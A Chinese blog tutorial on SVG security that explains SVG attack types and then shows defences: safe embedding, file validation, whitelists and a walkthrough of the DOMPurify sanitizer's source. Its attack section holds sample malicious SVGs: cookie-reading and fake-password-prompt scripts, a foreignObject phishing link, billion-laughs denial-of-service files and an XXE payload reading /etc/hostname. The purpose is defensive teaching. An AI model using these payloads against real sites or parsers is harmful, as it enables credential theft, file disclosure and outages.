SVG 安全

jsliang發表於2022-12-28

一 目錄

不折騰的前端,和鹹魚有什麼區別

目錄
一 目錄
二 任務目標
三 SVG 簡要介紹
四 SVG 漏洞認知
4.1 跨站指令碼(XSS)
4.2 HTML 注入
4.3 XML 實體導致的 Billion Laughs 攻擊
4.4 Dos(拒絕服務):新型 SVG Billion Laughs 攻擊
4.5 XML 外部實體注入(XXE)
五 SVG 安全防護
5.1 安全引用 SVG
5.2 檔案格式驗證
5.3 SVG 合法標籤白名單列表
六 SVG 安全庫
6.1 DOMPurify 介紹
6.2 DOMPurify 使用
6.3 DOMPurify 原始碼剖析
  6.3.1 DOMPurify v0.1
  6.3.2 DOMPurify v2.4.1
七 總結
八 參考資料

二 任務目標

返回目錄

本篇文章的目的有:

  • [ ] 瞭解 SVG 漏洞
  • [ ] 瞭解 SVG 常見防護手段
  • [ ] 搜尋 SVG 資料安全性校驗和過濾的庫
  • [ ] 瞭解如何使用此類庫來進行 SVG 上傳防護
  • [ ] 閱讀原始碼,能明確講述此類庫做了什麼

如果對你有所幫助,不妨點贊、評論、收藏和吐槽一番~

三 SVG 簡要介紹

返回目錄

SVG 即可縮放向量圖形(Scalable Vector Graphics),它使用 XML 格式定義影像。

circle.svg
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <circle cx="100" cy="50" r="40" stroke="black"
  stroke-width="2" fill="deepskyblue" />
</svg>

開啟 circle.svg,即可看到:

01.jpg

注:因後續 SVG 程式碼有些存有危害,請自行建立 xx.svg 檔案來存放,瞭解此 SVG 用途(甚至有些 SVG 建議只看程式碼瞭解其攻擊性即可,否則會卡自己機子)

SVG 更像是 HTML,而不單單是一張簡單的影像。

例如,當設計師需要五彩斑斕的黑,我們還可以直接修改上面 circle.svg 中的 fill="deepskyblue",將其改成 fill="black",想必設計師會非常開心,我們又幫 ta 解決了一個難題~

此外,可縮放向量也是 SVG 一大優點,畢竟能大能小還能清晰可見,保持真本性,誰不喜歡呢~

更多的可自行前往 MDN 等網站了解:

四 SVG 漏洞認知

返回目錄

在上面,我們瞭解到,SVG 更像是 (X)HTML,而不單單是一張簡單的影像。

所以,在進行 SVG 安全防護之前,我們尚需瞭解它的危害性。

4.1 跨站指令碼(XSS)

返回目錄

SVG 可透過 <script> 元素執行 JavaScript 程式碼。

所以,如果開放了 SVG 上傳,那麼會存在 XSS (跨站指令碼)安全風險。

01-xss.svg
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="black" />
  <!-- 這種操作,可以在 SVG 中直接執行 Script,從而透過 Ajax 將同域的 cookie 投出去,造成儲存型 XSS -->
  <script>alert(document.cookie)</script>
</svg>

注:如果在 Chrome 上透過 <img /> 標籤引入,並不會觸發攻擊。但是,如果單獨在 Tab 上開啟圖片,是會觸發攻擊的!!

又或者,我們可以透過 SVG,讓使用者在檢視圖片的時候,假裝丟失了密碼,需要重新輸入:

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="black" />
  <script>
    const passwd = prompt('輸入密碼繼續');
    console.error('passwd: ', passwd);
    alert(`感謝你的密碼:${passwd}`);
  </script>
</svg>

4.2 HTML 注入

返回目錄

SVG 是基於 XML 的向量圖,沒法簡單將 HTML 內容放到裡面。

所以,SVG 提供了 <foreignObject> 元素,用來包含其他 XML 名稱空間的元素。

這一部分資料很可能採用 (X)HTML 形式。

02-html-injection
<svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
  <style>
    div {
      background: black;
      color: pink;
      font: 18px serif;
      width: 100px;
      height: 100px;
      overflow: auto;
    }
  </style>

  <foreignObject x="20" y="20" width="100" height="100">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <a href="https://www.kdocs.cn">點選這裡</a>
      <p>超好看的內容等你來喔~</p>
    </div>
  </foreignObject>
</svg>

在這種情況下,我們可以發起類似釣魚、繞開同源策略、CSRF 之類的攻擊。

如果在 Chrome 上透過 <img /> 標籤引入,並不會渲染 <a> 標籤,可能是 Chrome 做的防護,但是單獨開啟是會觸發的

4.3 XML 實體導致的 Billion Laughs 攻擊

返回目錄

a billion laughs attack 是一種 denial-of-service(DoS)攻擊,它主要作用於 XML 文件解析器。

它也被稱為指數實體擴充套件攻擊,是一種名副其實的 XML 炸彈。

在 SVG 中,可以透過 Entity 宣告實體功能:

03-billion-laughs.svg
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
<!ENTITY lol11 "&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
<!ENTITY lol12 "&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
<!ENTITY lol13 "&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
<!ENTITY lol14 "&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
<!ENTITY lol15 "&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20" font-size="20">
    <lolz>&lol15;</lolz>
  </text>
</svg>

瀏覽器開啟這個檔案後,CPU 直接幹上 100%,所以如非必要,不要開啟它。

4.4 Dos(拒絕服務):新型 SVG Billion Laughs 攻擊

返回目錄

除了 Entity,還有一種方式,就是透過 SVG 影像發起攻擊。

其中 xlink:href 屬性以 IRI(國際資源標識)方式定義了對某個資源的引用,該連結的具體含義需根據使用該連結的每個元素的上下文來決定。

<use> 元素從 SVG 文件中獲取節點,然後將其複製到其他位置。

在下面程式碼中,我們實現了反覆巢狀使用,直至瀏覽器或者電腦卡死。

04-xlink-billion-laughs.svg
<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>
</svg>

4.5 XML 外部實體注入(XXE)

返回目錄

這個危害沒有在瀏覽器測試到,但是看他們說是存在的。

可能我的網路安全資料比較缺乏,所以這裡記錄一下:

05-xxe.svg
 <!-- ubuntu 檔案資訊: file:///etc/passwd -->
 <!-- ubuntu 檔案資訊: file:///etc/hostname -->
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg> 

五 SVG 安全防護

返回目錄

既然貿然使用 SVG 是有危險的,那麼我們肯定要有所措施來應對使用。

  1. 限制 SVG 的危險標籤。例如 <script><foreignObject>
  2. 限制 SVG 影像內載入資源和一些擴充邏輯
  3. 將 SVG 圖片儲存到其他伺服器,防止主要伺服器被攻擊
  4. 限制 SVG 的引用方式,儘可能透過 <img> 標籤等安全形式引用
  5. ……

5.1 安全引用 SVG

返回目錄

DigiNinja 的 《Protecting against XSS in SVG》一文中,我們可以看到 ta 對其的一些個人見解。

不推薦的

  • 「容易被攻擊的」直接檢視。這種直接連結並檢視很危險
  • 「容易被攻擊的」檢視 iframe 中的圖片
  • 「容易被攻擊的」透過向量圖形進行消殺(?原文 Sanitised through Inkscape)。這種操作類似於直接檢視,雖然它看起來像是被下面指令保護
inkscape --file="xss.svg" --verb="FileVacuum" --export-plain-svg="sanitised.svg"

這個指令看起來像是移除了 JavaScript 程式碼,但是實際上並沒有

推薦的

  • 「不容易被攻擊的」在 Content-Disposition 響應標頭檢視
  • 「不容易被攻擊的」設定檢視元素的 CSP 白名單
  • 「不容易被攻擊的」透過 <img> 標籤載入。<img> 標籤具有防止 JS 指令碼攻擊的功能
  • 「不容易被攻擊的」設定標籤的 CSP 白名單。透過上面的 <img> 標籤,加上這個舉措,可以進行雙重保護
  • 「不容易被攻擊的」在 iframe 沙箱中檢視圖片。設定 iframe 的時候,需要設定 sandbox 屬性,來避免指令碼攻擊

5.2 檔案格式驗證

返回目錄

下面 2 個是不可靠且可以被構造的:

  1. 檔名字尾
  2. 表單上傳 Content-Type

所以,如果需要上傳安全的 SVG,那麼對其格式也需要進行驗證。

判斷檔案型別的庫:

5.3 SVG 合法標籤白名單列表

返回目錄

如上面所言,SVG 更像是 (X)HTML,所以需要過濾掉諸如 <script><foreignObject> 等相關標籤和屬性。

可參考的過濾清單:

六 SVG 安全庫

返回目錄

如果是自己寫的話,那也太對不住你的使用者了,畢竟你不知道還有啥內容沒防護到。

所以這裡推薦一個庫:DOMPurify

6.1 DOMPurify 介紹

返回目錄

DOMPurify 從 2014.07 開始建設,截止目標 10.1k Star,僅有 2 個待解決 Issue。

相容性方面,可以說非常到位:

  • Safari(10+)
  • Opera(15+)
  • IE(10+)
  • Edge
  • Firefox
  • Chrome

其他介紹:

6.2 DOMPurify 使用

返回目錄

既然我們的目標之一:

  • [x] 瞭解如何使用此類庫來進行 SVG 上傳防護

那麼,瞭解怎麼防護也是必要的,這裡 jsliang 編寫了一個例項:

index.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>DOMPurify - jsliang</title>
  <style>img { width: 300px; height: 300px; }</style>
  <script src="./dist/purify.min.js"></script>
</head>
<body>
  <p>請上傳你的 svg 圖片</p>
  <input id="input" type="file" accept="image/*">
  <div>
    <!-- TODO: 修改為相應的佔點陣圖圖片 -->
    <img id="img" src="./img/placeholder.jpg" />
  </div>

  <script>
    window.onload = () => {
      const input = document.querySelector('#input');
      const img = document.querySelector('#img');

      // 監聽檔案上傳,並以文字形式讀取內容
      const reader = new FileReader();
      input.onchange = (e) => {
        const [file] = input.files;
        if (file) {
          reader.readAsText(file);
        };
      };

      // 對獲取到的內容進行處理,並進行載入
      reader.onload = (e) => {
        const result = e.target.result;
        const cleanResult = DOMPurify.sanitize(result);
        console.error('過濾前: ', result);
        console.error('過濾後: ', cleanResult);
        const bolb = new Blob([cleanResult], {
          type: 'image/svg+xml',
        });
        img.src = URL.createObjectURL(bolb);
      };
    };
  </script>
</body>
</html>

那麼,對於下述 SVG 程式碼,它的 Diff 比對為:

01-xss.svg
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="black" />
-  <!-- 這種操作,可以在 SVG 中直接執行 Script,從而透過 Ajax 將同域的 cookie 投出去,造成儲存型 XSS -->
-  <script>alert(document.cookie)</script>
</svg>

是的,它會清理掉這個註釋,並且把具有危害的 <script> 也給清理了。

那麼,它是如何做到的?我們接著往下看。

6.3 DOMPurify 原始碼剖析

返回目錄

對於 DOMPurify 原始碼剖析,將劃分 v0.1 版本的細講,和 v2.4.1 版本的新增講解。

6.3.1 DOMPurify v0.1

返回目錄

DOMPurify 的 v0.1 最初版本程式碼在 2014.03.01 開始打 Tag,地址為:DOMPurify v0.1

作為一個精美的小類庫,我認為它的初始版本是非常具有參考性的,所以特意下載下來檢視實現思路:

purify.js
;(function(root, factory) {
  'use strict';
  if (typeof define === "function" && define.amd) {
    define(factory);
  } else {
    root.DOMPurify = factory();
  }
}(this, function() {
  'use strict';
  var DOMPurify = {};
  DOMPurify.sanitize = function(dirty, cfg) {
    // ... 其餘內容
  };
  return DOMPurify;
}));

我們可以看到,它往當前環境掛載了 DOMPurify,且支援 2 種方式引用:

  1. 在 HTML 中引用:
// 掛載到諸如 window.DOMPurify 並使用
var clean = DOMPurify.sanitize(dirty);
  1. 在 AMD 模式中引用:
require(['dompurify'], function(DOMPurify) {
    var clean = DOMPurify.sanitize(dirty);
};

此時,如果我們注入的 dirty 如下述呼叫所示:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>DOMPurify - 0.1 版本</title>
  <script src="purify.js"></script>
</head>
<body>
  <script>
    window.onload = () => {
      const svg = `
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
  <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="black" />
  <!-- 這種操作,可以在 SVG 中直接執行 Script,從而透過 Ajax 將同域的 cookie 投出去,造成儲存型 XSS -->
  <script>alert(document.cookie)<\/script>
</svg>
`;
      debugger;
      const clean = DOMPurify.sanitize(svg);
      console.error('clean: ', clean);
      /**
       * 清理後,註釋和 script 均移除:
        <svg xmlns="http://www.w3.org/2000/svg">
          <circle fill="black" stroke-width="2" stroke="black" r="40" cy="50" cx="100"></circle>
        
        
        </svg>
       */
    };
  </script>
</body>
</html>

那麼,它的程式碼呼叫順序是這樣的:

程式碼 + 講解
// 步驟一,進入主函式
DOMPurify.sanitize = function(dirty, cfg) {
  // ... 其餘內容
};



// 步驟二,判斷傳參,是否需要根據使用者引數做配置
cfg ? _parseConfig(cfg) : null;
var _parseConfig = function(cfg) {
  cfg.ALLOWED_ATTR    ? ALLOWED_ATTR    = cfg.ALLOWED_ATTR    : null;
  // ...諸如 cfg.xxx,來配置引數
};



/**
 * @name 步驟三,初始化含髒資料的新 Document
 * @description
 * document.implementation 介紹 - https://javascript.ruanyifeng.com/dom/document.html#toc8
 * document.implementation 屬性返回一個 DOMImplementation 物件。該物件有三個方法,主要用於建立獨立於當前文件的新的 Document 物件。
 * 下面程式碼的作用,是將新建立的 Document 物件變為:
<html>
  <head></head>
  <body>
    <!-- 這裡存放傳入的 dirty 髒資料 -->
  </body>
</html>
 */
// 
var dom = document.implementation.createHTMLDocument('');
  dom.body.parentNode.removeChild(dom.body.parentNode.firstElementChild);
  dom.body.outerHTML = dirty;
var body = WHOLE_DOCUMENT ? dom.body.parentNode : dom.body;

if (
  !(dom.body instanceof HTMLBodyElement) ||
  !(dom.body instanceof HTMLHtmlElement)
) {
  var freshdom = document.implementation.createHTMLDocument('');
  body = WHOLE_DOCUMENT
    ? freshdom.getElementsByTagName.call(dom,'html')[0]
    : freshdom.getElementsByTagName.call(dom,'body')[0];
}



/**
 * @name 步驟四,建立新的節點,來存放最終結果
 * @description
 * document.createNodeIterator 介紹 - https://javascript.ruanyifeng.com/dom/document.html#toc28
 * document.createNodeIterator 方法返回一個子節點遍歷器
 * 該例項的 nextNode() 方法和 previousNode() 方法,可以用來遍歷所有子節點
 * 
 */
var _createIterator = function(doc) {
  return document.createNodeIterator(
    doc,
    NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
    function() { return NodeFilter.FILTER_ACCEPT; },
    false
  );
};
var currentNode;
var nodeIterator = _createIterator(body);



// 步驟五,迭代節點,清理標籤和元素
while (currentNode = nodeIterator.nextNode()) {
  // 注 5-1:清理標籤和元素:
  if (_sanitizeElements(currentNode)) {
    continue;
  }

  // 注 5-2:檢測到 Shadow DOM,對其進行清理
  if (currentNode.content instanceof DocumentFragment) {
    _sanitizeShadowDOM(currentNode.content);
  }

  // 注 5-3:檢查屬性,如有必要則清理
  _sanitizeAttributes(currentNode);
}



// 步驟六,清理完畢,按需要返回資料(字串或者 DOM)
if (RETURN_DOM) {
  return body;
}
return WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;

這裡面的【注 5-1】【注 5-2】以及【注 5-3】程式碼剖析如下所示:

注 5-1
// 透過 3 種手段,檢查當前 Node 節點是否安全,如不安全,則刪除之
// 第 1 種手段是獨立檢查
// 第 2 種是判斷註釋
// 第 3 種是檢查標籤白名單(詳細白名單可以看附件,這裡不詳細提示)
// 檢查 JQ 的跳過不看
var _sanitizeElements = function(currentNode) {
  if (
    // 注:_isClobbered 在下方單獨解讀
    _isClobbered(currentNode)
    || currentNode.nodeType === currentNode.COMMENT_NODE
    || ALLOWED_TAGS.indexOf(currentNode.nodeName.toLowerCase()) === -1
  ) {
    currentNode.parentNode.removeChild(currentNode);
    return true;
  }
  if (SAFE_FOR_JQUERY && !currentNode.firstElementChild) {
    currentNode.textContent = currentNode.textContent.replace(/</g, '&lt;');
  }
  return false;
};

// _isClobbered: 檢查具有攻擊性的元素,如果返回 true 則代表具有攻擊性,否則沒有
var _isClobbered = function(elm) {
  if (
    (elm.children && !(elm.children instanceof HTMLCollection))
    || typeof elm.nodeName  !== 'string'
    || typeof elm.textContent !== 'string'
    || typeof elm.nodeType !== 'number'
    || typeof elm.COMMENT_NODE !== 'number'
    || typeof elm.setAttribute !== 'function'
    || typeof elm.cloneNode !== 'function'
    || typeof elm.removeAttributeNode !== 'function'
    || typeof elm.attributes.item !== 'function'
  ) {
    return true;
  }
  return false;
};
注 5-2
// 清理 Shadow DOM
var _sanitizeShadowDOM = function(fragment) {
  var shadowNode;
  var shadowIterator = _createIterator(fragment);

  while (shadowNode = shadowIterator.nextNode()) {
    // 注 5-1:清理標籤和元素
    if (_sanitizeElements(shadowNode)) {
      continue;
    }

    // 遞迴檢查 Shadow DOM
    if (shadowNode.content instanceof DocumentFragment) {
      _sanitizeShadowDOM(shadowNode.content);
    }

    // 注 5-3:檢查屬性,如有必要則清理
    _sanitizeAttributes(shadowNode);
  }
};
注 5-3
// 清理屬性
var _sanitizeAttributes = function(currentNode) {
  var regex = /^(\w+script|data):/gi,
    clonedNode = currentNode.cloneNode();

  for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
    var tmp = clonedNode.attributes[attr];
    currentNode.removeAttribute(currentNode.attributes[attr].name);

    if (tmp instanceof Attr) {
      if (
        (ALLOWED_ATTR.indexOf(tmp.name.toLowerCase()) > -1 ||
        (ALLOW_DATA_ATTR && tmp.name.match(/^data-[\w-]+/i)))
          && !tmp.value.replace(/[\x00-\x20]/g,'').match(regex)
      ) {
        currentNode.setAttribute(tmp.name, tmp.value);
      }
    }
  }
};

6.3.2 DOMPurify v2.4.1

返回目錄

這裡主要看 DOMPurify.sanitize 部分原始碼更改:

  • 【新增】資料判空、資料格式問題、資料相容
  • 【最佳化】配置項更加豐富
  • 【新增】DOMPurify.removed 陣列可檢查被清理的元素
  • 【新增】傳入的資料會先進行安全監測
  • 【新增】傳入的資料型別更為豐富(可為 DOM element)
  • 【最佳化】修復了一些 IE 等瀏覽器的相容 bug
  • 【最佳化】迭代節點,清理標籤和元素的程式碼更為完善(清理 Shadow DOM 的也最佳化了)
  • 【新增】條件允許會序列化 doctype
  • 【新增】條件允許會對最後的資料透過 template-safe 再清理一次
  • 【最佳化】標籤白名單和屬性白名單更加豐富健全了

詳細的這裡就不一一講解了,感興趣的小夥伴可以自行前往上面版本地址下載和了解。

七 總結

返回目錄

透過這一系列的操作,我們可以給開頭的任務目標劃上句號啦~

  • [x] 瞭解 SVG 漏洞
  • [x] 瞭解 SVG 常見防護手段
  • [x] 搜尋 SVG 資料安全性校驗和過濾的庫
  • [x] 瞭解如何使用此類庫來進行 SVG 上傳防護
  • [x] 閱讀原始碼,能明確講述此類庫做了什麼

歡迎小夥伴們點贊、評論、收藏和吐槽,我是 jsliang,下篇文章見~

八 參考資料

返回目錄

優秀網站:

參考文獻:


不折騰的前端,和鹹魚有什麼區別!

覺得文章不錯的小夥伴歡迎點贊/點 Star。

如果小夥伴需要聯絡 jsliang

個人聯絡方式存放在 Github 首頁,歡迎一起折騰~

爭取打造自己成為一個充滿探索欲,喜歡折騰,樂於擴充套件自己知識面的終身學習斜槓程式設計師。

jsliang 的文件庫由 梁峻榮 採用 知識共享 署名-非商業性使用-相同方式共享 4.0 國際 許可協議 進行許可。<br/>基於 https://github.com/LiangJunrong/document-library 上的作品創作。<br/>本許可協議授權之外的使用許可權可以從 https://creativecommons.org/licenses/by-nc-sa/2.5/cn/ 處獲得。